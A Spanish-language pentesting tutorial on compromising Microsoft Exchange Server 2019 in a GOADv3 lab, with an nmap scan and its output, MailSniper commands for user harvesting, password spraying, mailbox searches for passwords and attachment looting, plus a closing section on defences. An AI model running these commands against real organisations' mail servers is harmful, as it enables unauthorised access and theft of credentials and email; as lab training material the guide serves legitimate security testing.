Pruebas de penetración a Microsoft Exchange Server
Una guía técnica para auditar y comprometer servidores Microsoft Exchange.

Pruebas de Penetración en Exchange Server: Guía Técnica

Con frecuencia, durante las pruebas de penetración, obtenemos accesos con privilegios elevados (Domain Admin) dentro de una organización. Algunas empresas se detienen en este punto, considerando que obtener el rol de Domain Admin es el objetivo final.

Sin embargo, al auditar un Exchange Server, esto no es así. «Obtener el Domain Admin» no representa un gran valor para la mayoría de los directivos si no se demuestra concretamente lo que implica en términos de riesgo. Uno de los métodos más efectivos para demostrar el riesgo real en un pentesting a Exchange Server es evidenciar la capacidad de acceder a datos sensibles.

A continuación, describimos el proceso de pentesting de un Exchange Server 2019 en un laboratorio GOADv3 configurado sobre Ludus/Debian.

Configuración del servidor Exchange en laboratorio Ludus
El entorno de laboratorio Ludus/Debian, mostrando la configuración del servidor objetivo.

Nota importante: Este artículo describe técnicas de pruebas de penetración centradas en Microsoft Exchange Server 2019, una versión ampliamente utilizada en laboratorios como GOADv3. Sin embargo, el soporte extendido de Exchange Server 2019 finalizó el 14 de octubre de 2025. Microsoft ya no proporciona actualizaciones de seguridad gratuitas ni soporte técnico oficial para esta versión.

Las técnicas aquí descritas son en gran medida aplicables a Exchange Server Subscription Edition (SE), lanzada el 1 de julio de 2025, que es la única versión on-premises soportada actualmente (bajo modelo de suscripción con soporte continuo mientras se mantenga actualizada).

El toolkit principal que hemos utilizado es MailSniper, una suite de PowerShell diseñada para la enumeración interna y el abuso de buzones de correo de Exchange a través de Exchange Web Services (EWS), Outlook Web Access (OWA) y otros endpoints estándar. Para profundizar en las capacidades de esta tecnología, es recomendable explorar nuestros scripts de PowerShell que evaden la detección.

También utilizamos NetExec desde una máquina Kali, pero MailSniper presentó problemas en powershell-linux, por lo que fue necesario que operáramos desde una máquina con Windows 11 Pro:

Error de MailSniper en Kali Linux
MailSniper puede presentar problemas de compatibilidad en entornos no nativos de Windows.

A continuación, el escaneo NXC del entorno completo

Escaneo de red con NetExec para identificar hosts y configuraciones SMB
NetExec revela rápidamente hosts y configuraciones críticas como la firma SMB desactivada.

Fase 1: Reconocimiento e Identificación del Servidor Exchange

Antes de iniciar cualquier actividad de penetración, es fundamental localizar con precisión el servidor Exchange.

El proceso comienza con la recolección OSINT, mediante registros MX de DNS, URLs públicas de OWA, Autodiscover, certificados TLS y metadatos visibles en ofertas de trabajo o documentos públicos. Posteriormente, se ejecutan escaneos dirigidos con Nmap hacia los servicios estándar, una técnica que puede optimizarse al comparar los resultados con escaneos previos usando ndiff.

nmap -p25,80,443,445,587,993,995 -sV -oA exchange_scan 10.3.10.21

Este escaneo permite identificar los puertos de SMTP, HTTPS para OWA, SMB y otros servicios de correo seguro.

Nmap scan report for 10.3.10.21
Host is up (0.0027s latency).
Not shown: 975 closed tcp ports (reset)

PORT     STATE SERVICE        VERSION
25/tcp   open  smtp           Microsoft Exchange smtpd
80/tcp   open  http           Microsoft IIS httpd 10.0
81/tcp   open  http           Microsoft IIS httpd 10.0
135/tcp  open  msrpc          Microsoft Windows RPC
139/tcp  open  netbios-ssn    Microsoft Windows netbios-ssn
443/tcp  open  ssl/https      Microsoft IIS httpd 10.0
| http-title: Outlook
| ssl-cert: Subject: commonName=the-eyrie / DNS:the-eyrie.sevenkingdoms.local
465/tcp  open  smtp           Microsoft Exchange smtpd (STARTTLS)
587/tcp  open  smtp           Microsoft Exchange smtpd (STARTTLS)
445/tcp  open  microsoft-ds   Windows Server 2019
3389/tcp open  ms-wbt-server  Microsoft Terminal Services (RDP)
5985/tcp open  http           Microsoft HTTPAPI httpd 2.0 (WinRM)
5986/tcp open  ssl/http       Microsoft HTTPAPI httpd 2.0 (WinRM HTTPS)
2525/tcp open  smtp           Microsoft Exchange smtpd

OS details: Microsoft Windows Server 2019
Service Info: Host: the-eyrie.sevenkingdoms.local; OS: Windows

Enumerar Usuarios OWA y Endpoints de Correo

Una vez localizado el servidor, se procede con la recopilación de usuarios válidos, un paso indispensable para ejecutar ataques como password spraying o de fuerza bruta.

El primer paso es enumerar usuarios OWA y de la Lista Global de Direcciones (GAL) con los siguientes comandos de MailSniper:

MailSniper descubriendo el nombre de dominio de Exchange
El primer paso de la enumeración con MailSniper es identificar el dominio objetivo.
Invoke-UsernameHarvestOWA -UserList .\users.txt -ExchHostname 10.3.10.21 -Domain SEVENKINGDOMS  -OutFile AccountsTrovati.txt
MailSniper extrayendo usuarios de Exchange
MailSniper automatiza la extracción de usuarios válidos desde OWA y la GAL.
Invoke-DomainHarvestOWA -ExchHostname 10.3.10.21 -OutFile userlist.txt

Get-GlobalAddressList -ExchHostname 10.3.10.21 -UserName "domain\user" -Password "Password!" -OutFile gal.txt

Una lista de usuarios bien definida permite simular ataques dirigidos, probando contraseñas realistas basadas en el contexto (por ejemplo, el universo de Juego de Tronos simulado en el laboratorio).

Para ello, se recurre previamente a diversas técnicas de OSINT.

Fase 2: Password Spraying en Exchange y Acceso Inicial

Utilizando contraseñas realistas derivadas de información pública y contextual, se efectúa un ataque de password spraying con MailSniper sobre ActiveSync (EAS), OWA o SMTP. Esta técnica es fundamental en un pentesting de Exchange Server.

Invoke-PasswordSpray -UserList userlist.txt -ExchHost 10.3.10.21 -Password "ilovejaime" -OutFile spray_results.txt

Una vez obtenido un acceso válido, como una combinación de usuario y contraseña, es posible utilizar PowerShell para acceder al buzón de correo a través de EWS e iniciar la fase de post-explotación.

Interfaz de OWA mostrando la enumeración de usuarios de la GAL
Una vez dentro de OWA, la Lista Global de Direcciones permite a un atacante confirmar la existencia de usuarios clave.

Fase 3: Post-Explotación en Exchange y Búsqueda de Datos

Con MailSniper, desde una cuenta comprometida, es posible:

Buscar credenciales o información sensible dentro del buzón de correo:

Invoke-SelfSearch -Mailbox compromised@domain.local -Terms "password","vpn","confidential"

Enumerar los archivos adjuntos y descargarlos para su análisis externo:

Invoke-SelfSearch -Mailbox compromised@domain.local -CheckAttachments -DownloadDir C:\loot\

Si se dispone de un rol administrativo con permisos de suplantación (impersonation), es posible expandir la búsqueda de forma global a todos los buzones de la red:

Invoke-GlobalMailSearch -ImpersonationAccount "domain\admin" -ExchHostname 10.3.10.21 -Terms "password","confidential" -OutputCsv all_mail_search.csv

Herramientas Alternativas para Pentesting en Exchange

Además de MailSniper, son populares otras herramientas para pruebas de penetración en Exchange on-premises:

  • Ruler: Permite el abuso de Autodiscover para crear reglas maliciosas en buzones vía MAPI/HTTP y obtener acceso remoto. Puedes encontrarlo en su repositorio oficial.
  • NetExec: como sucesor de CrackMapExec, incluye módulos específicos para la enumeración de EWS en Exchange, password spraying, impersonation y ejecución remota en entornos Active Directory con Exchange. La documentación de NetExec es un recurso excelente.

Movimiento Lateral en Active Directory y Escalada de Privilegios

El acceso a los buzones de correo permite buscar credenciales de cuentas privilegiadas (por ejemplo, Domain Admin), que a menudo se encuentran en archivos adjuntos o en el cuerpo de los mensajes.

Con estas credenciales, es posible:

  • Acceder a sistemas internos mediante RDP o PowerShell Remoting.
  • Explotar técnicas como Kerberoasting (solicitud de tickets Kerberos a servicios de Exchange) para obtener hashes que puedan ser descifrados (crackeados).
  • Utilizar delegaciones de Exchange y permisos de buzón para enviar correos con la funcionalidad “Enviar como” (Send As) y aplicar técnicas de movimiento lateral en el dominio.

Comandos útiles para verificar los permisos de los buzones:

Invoke-MailboxPermsAudit -ExchHostname 10.3.10.21 -UserName "domain\user" -Password "password" -OutFile mailbox_permissions.csv

Cómo Proteger un Exchange Server: Defensas Recomendadas

Para proteger un Exchange Server de forma eficaz, se deben implementar varias capas de seguridad. Las contramedidas clave incluyen limitar permisos, monitorizar la actividad, aplicar parches de seguridad puntualmente, usar autenticación multifactor (MFA), segmentar la red y configurar bloqueos contra ataques de password spraying.

Para mitigar los riesgos identificados, recomendamos:

  • Limitar los permisos de buzón y delegación: Solo los roles estrictamente necesarios deben poder suplantar o enviar correos en nombre de otros.
  • Monitorización de las actividades de Exchange: Implementar un registro detallado para autenticaciones, uso de EWS e intentos de correo sospechosos.
  • Actualizaciones puntuales: Instalar los parches contra vulnerabilidades conocidas como ProxyLogon, ProxyShell, CVE-2025-64666 (Elevation of Privilege), CVE-2025-64667 (Spoofing) y zero-days emergentes como CVE-2025-53786 (Elevation of Privilege en despliegues híbridos). Se recomienda migrar a Exchange Server Subscription Edition (SE), ya que es la única versión on-premises con soporte activo y actualizaciones continuas.
  • Autenticación Multifactor (MFA): Aplicar MFA en OWA, EAS y PowerShell Remoting para reducir la eficacia del credential stuffing.
  • Segmentación de la red: Aislar los servidores Exchange y limitar el acceso desde la DMZ y la zona interna basándose en el principio de mínimo privilegio.
  • Controles y bloqueos contra password spraying: Implementar políticas de bloqueo de cuentas, análisis de comportamiento y herramientas internas para identificar inicios de sesión sospechosos.

Conclusiones Clave de la Auditoría a Exchange Server

La prueba de penetración de un Exchange Server 2019 requiere una metodología articulada que abarca desde el reconocimiento preciso, pasando por ataques dirigidos como el password spraying en Exchange, hasta el abuso post-compromiso de los buzones de correo para avanzar en la red.

El laboratorio GOADv3 sobre Ludus/Debian proporciona un entorno ideal para simular estas técnicas de forma segura, permitiendo perfeccionar las capacidades ofensivas y, fundamentalmente, probar las defensas de TI.

El uso de herramientas como MailSniper facilita la búsqueda de credenciales, permisos y datos sensibles, demostrando de manera concreta el riesgo que una compromisión de Exchange representa para una organización.

Implementar defensas robustas y una monitorización continua es clave para la seguridad de Microsoft Exchange y para reducir la superficie de ataque y ralentizar a los adversarios informáticos contemporáneos. Como paso siguiente, se podría desarrollar un script de PowerShell para automatizar algunos de los procedimientos aquí descritos.

Fuente adicional: [1] test-art.pdf https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/attachments/104559465/763883a6-3f2a-41af-8d8a-e00efdd5acb4/test-art.pdf

Mi Carro Close (×)

Tu carrito está vacío
Ver tienda